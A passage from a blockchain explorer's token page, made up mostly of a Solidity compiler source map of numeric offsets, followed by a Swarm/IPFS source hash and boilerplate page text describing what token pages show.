;-1:-1:-1;;;;;12527:15:0;;;;;;:9;:15;;;;;:45;12599:40;12617:21;:6;12628:9;12617:10;:21::i;:::-;-1:-1:-1;;;;;12599:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;12583:13:0;;;;;;;:9;:13;;;;;:56;;;;12655:41;;;12674:21;:6;12685:9;12674:10;:21::i;:::-;12655:41;;;;;;:::i;:::-;;;;;;;;12422:282;;;;:::o;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1:-1;868:2:1;853:18;;840:32;881:35;840:32;881:35;:::i;:::-;935:7;925:17;;;633:315;;;;;:::o;953:470::-;;;;1099:2;1087:9;1078:7;1074:23;1070:32;1067:2;;;1120:6;1112;1105:22;1067:2;1164:9;1151:23;1183:33;1210:5;1183:33;:::i;:::-;1235:5;-1:-1:-1;1292:2:1;1277:18;;1264:32;1305:35;1264:32;1305:35;:::i;:::-;1057:366;;1359:7;;-1:-1:-1;;;1413:2:1;1398:18;;;;1385:32;;1057:366::o;1428:327::-;;;1557:2;1545:9;1536:7;1532:23;1528:32;1525:2;;;1578:6;1570;1563:22;1525:2;1622:9;1609:23;1641:33;1668:5;1641:33;:::i;:::-;1693:5;1745:2;1730:18;;;;1717:32;;-1:-1:-1;;;1515:240:1:o;1760:297::-;;1880:2;1868:9;1859:7;1855:23;1851:32;1848:2;;;1901:6;1893;1886:22;1848:2;1938:9;1932:16;1991:5;1984:13;1977:21;1970:5;1967:32;1957:2;;2018:6;2010;2003:22;2062:316;;;;2219:2;2207:9;2198:7;2194:23;2190:32;2187:2;;;2240:6;2232;2225:22;2187:2;2274:9;2268:16;2258:26;;2324:2;2313:9;2309:18;2303:25;2293:35;;2368:2;2357:9;2353:18;2347:25;2337:35;;2177:201;;;;;:::o;2383:203::-;-1:-1:-1;;;;;2547:32:1;;;;2529:51;;2517:2;2502:18;;2484:102::o;2591:304::-;-1:-1:-1;;;;;2821:15:1;;;2803:34;;2873:15;;2868:2;2853:18;;2846:43;2753:2;2738:18;;2720:175::o;2900:274::-;-1:-1:-1;;;;;3092:32:1;;;;3074:51;;3156:2;3141:18;;3134:34;3062:2;3047:18;;3029:145::o;3179:607::-;-1:-1:-1;;;;;3538:15:1;;;3520:34;;3585:2;3570:18;;3563:34;;;;3628:2;3613:18;;3606:34;;;;3671:2;3656:18;;3649:34;;;;3720:15;;;3714:3;3699:19;;3692:44;3500:3;3752:19;;3745:35;;;;3469:3;3454:19;;3436:350::o;3791:187::-;3956:14;;3949:22;3931:41;;3919:2;3904:18;;3886:92::o;3983:603::-;;4124:2;4153;4142:9;4135:21;4185:6;4179:13;4228:6;4223:2;4212:9;4208:18;4201:34;4253:4;4266:140;4280:6;4277:1;4274:13;4266:140;;;4375:14;;;4371:23;;4365:30;4341:17;;;4360:2;4337:26;4330:66;4295:10;;4266:140;;;4424:6;4421:1;4418:13;4415:2;;;4494:4;4489:2;4480:6;4469:9;4465:22;4461:31;4454:45;4415:2;-1:-1:-1;4570:2:1;4549:15;-1:-1:-1;;4545:29:1;4530:45;;;;4577:2;4526:54;;4104:482;-1:-1:-1;;;4104:482:1:o;4591:399::-;4793:2;4775:21;;;4832:2;4812:18;;;4805:30;4871:34;4866:2;4851:18;;4844:62;-1:-1:-1;;;4937:2:1;4922:18;;4915:33;4980:3;4965:19;;4765:225::o;4995:349::-;5197:2;5179:21;;;5236:2;5216:18;;;5209:30;5275:27;5270:2;5255:18;;5248:55;5335:2;5320:18;;5169:175::o;5349:398::-;5551:2;5533:21;;;5590:2;5570:18;;;5563:30;5629:34;5624:2;5609:18;;5602:62;-1:-1:-1;;;5695:2:1;5680:18;;5673:32;5737:3;5722:19;;5523:224::o;5752:349::-;5954:2;5936:21;;;5993:2;5973:18;;;5966:30;6032:27;6027:2;6012:18;;6005:55;6092:2;6077:18;;5926:175::o;6106:351::-;6308:2;6290:21;;;6347:2;6327:18;;;6320:30;6386:29;6381:2;6366:18;;6359:57;6448:2;6433:18;;6280:177::o;6462:477::-;6664:2;6646:21;;;6703:2;6683:18;;;6676:30;6742:34;6737:2;6722:18;;6715:62;6813:34;6808:2;6793:18;;6786:62;-1:-1:-1;;;6879:3:1;6864:19;;6857:40;6929:3;6914:19;;6636:303::o;6944:397::-;7146:2;7128:21;;;7185:2;7165:18;;;7158:30;7224:34;7219:2;7204:18;;7197:62;-1:-1:-1;;;7290:2:1;7275:18;;7268:31;7331:3;7316:19;;7118:223::o;7346:356::-;7548:2;7530:21;;;7567:18;;;7560:30;7626:34;7621:2;7606:18;;7599:62;7693:2;7678:18;;7520:182::o;7707:405::-;7909:2;7891:21;;;7948:2;7928:18;;;7921:30;7987:34;7982:2;7967:18;;7960:62;-1:-1:-1;;;8053:2:1;8038:18;;8031:39;8102:3;8087:19;;7881:231::o;8117:401::-;8319:2;8301:21;;;8358:2;8338:18;;;8331:30;8397:34;8392:2;8377:18;;8370:62;-1:-1:-1;;;8463:2:1;8448:18;;8441:35;8508:3;8493:19;;8291:227::o;8523:350::-;8725:2;8707:21;;;8764:2;8744:18;;;8737:30;8803:28;8798:2;8783:18;;8776:56;8864:2;8849:18;;8697:176::o;8878:400::-;9080:2;9062:21;;;9119:2;9099:18;;;9092:30;9158:34;9153:2;9138:18;;9131:62;-1:-1:-1;;;9224:2:1;9209:18;;9202:34;9268:3;9253:19;;9052:226::o;9283:347::-;9485:2;9467:21;;;9524:2;9504:18;;;9497:30;9563:25;9558:2;9543:18;;9536:53;9621:2;9606:18;;9457:173::o;9635:177::-;9781:25;;;9769:2;9754:18;;9736:76::o;9817:983::-;;10127:3;10116:9;10112:19;10158:6;10147:9;10140:25;10184:2;10222:6;10217:2;10206:9;10202:18;10195:34;10265:3;10260:2;10249:9;10245:18;10238:31;10289:6;10324;10318:13;10355:6;10347;10340:22;10393:3;10382:9;10378:19;10371:26;;10432:2;10424:6;10420:15;10406:29;;10453:4;10466:195;10480:6;10477:1;10474:13;10466:195;;;10545:13;;-1:-1:-1;;;;;10541:39:1;10529:52;;10636:15;;;;10601:12;;;;10577:1;10495:9;10466:195;;;-1:-1:-1;;;;;;;10717:32:1;;;;10712:2;10697:18;;10690:60;-1:-1:-1;;;10781:3:1;10766:19;10759:35;10678:3;10088:712;-1:-1:-1;;;10088:712:1:o;10805:184::-;10977:4;10965:17;;;;10947:36;;10935:2;10920:18;;10902:87::o;10994:128::-;;11065:1;11061:6;11058:1;11055:13;11052:2;;;11071:18;;:::i;:::-;-1:-1:-1;11107:9:1;;11042:80::o;11127:217::-;;11193:1;11183:2;;-1:-1:-1;;;11218:31:1;;11272:4;11269:1;11262:15;11300:4;11225:1;11290:15;11183:2;-1:-1:-1;11329:9:1;;11173:171::o;11349:453::-;11445:6;11468:5;11482:314;11531:1;11568:2;11558:8;11555:16;11545:2;;11575:5;;;11545:2;11616:4;11611:3;11607:14;11601:4;11598:24;11595:2;;;11625:18;;:::i;:::-;11675:2;11665:8;11661:17;11658:2;;;11690:16;;;;11658:2;11769:17;;;;;11729:15;;11482:314;;;11426:376;;;;;;;:::o;11807:148::-;;11894:55;-1:-1:-1;;11935:4:1;11921:19;;11915:4;11960:922;12044:8;12034:2;;-1:-1:-1;12085:1:1;12099:5;;12034:2;12133:4;12123:2;;-1:-1:-1;12170:1:1;12184:5;;12123:2;12215:4;12233:1;12228:59;;;;12301:1;12296:183;;;;12208:271;;12228:59;12258:1;12249:10;;12272:5;;;12296:183;12333:3;12323:8;12320:17;12317:2;;;12340:18;;:::i;:::-;12396:1;12386:8;12382:16;12373:25;;12424:3;12417:5;12414:14;12411:2;;;12431:18;;:::i;:::-;12464:5;;;12208:271;;12563:2;12553:8;12550:16;12544:3;12538:4;12535:13;12531:36;12525:2;12515:8;12512:16;12507:2;12501:4;12498:12;12494:35;12491:77;12488:2;;;-1:-1:-1;12600:19:1;;;12635:14;;;12632:2;;;12652:18;;:::i;:::-;12685:5;;12488:2;12732:42;12770:3;12760:8;12754:4;12751:1;12732:42;:::i;:::-;12807:6;12802:3;12798:16;12789:7;12786:29;12783:2;;;12818:18;;:::i;:::-;12856:20;;12024:858;-1:-1:-1;;;;12024:858:1:o;12887:168::-;;12993:1;12989;12985:6;12981:14;12978:1;12975:21;12970:1;12963:9;12956:17;12952:45;12949:2;;;13000:18;;:::i;:::-;-1:-1:-1;13040:9:1;;12939:116::o;13060:125::-;;13128:1;13125;13122:8;13119:2;;;13133:18;;:::i;:::-;-1:-1:-1;13170:9:1;;13109:76::o;13190:135::-;;-1:-1:-1;;13250:17:1;;13247:2;;;13270:18;;:::i;:::-;-1:-1:-1;13317:1:1;13306:13;;13237:88::o;13330:127::-;13391:10;13386:3;13382:20;13379:1;13372:31;13422:4;13419:1;13412:15;13446:4;13443:1;13436:15;13462:133;-1:-1:-1;;;;;13539:31:1;;13529:42;;13519:2;;13585:1;13582;13575:12

Swarm Source

ipfs://daa2b3cd80bede5f90845def88c9ba1c34ffc7ed3b42f61e0f0a410e8bceeed8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.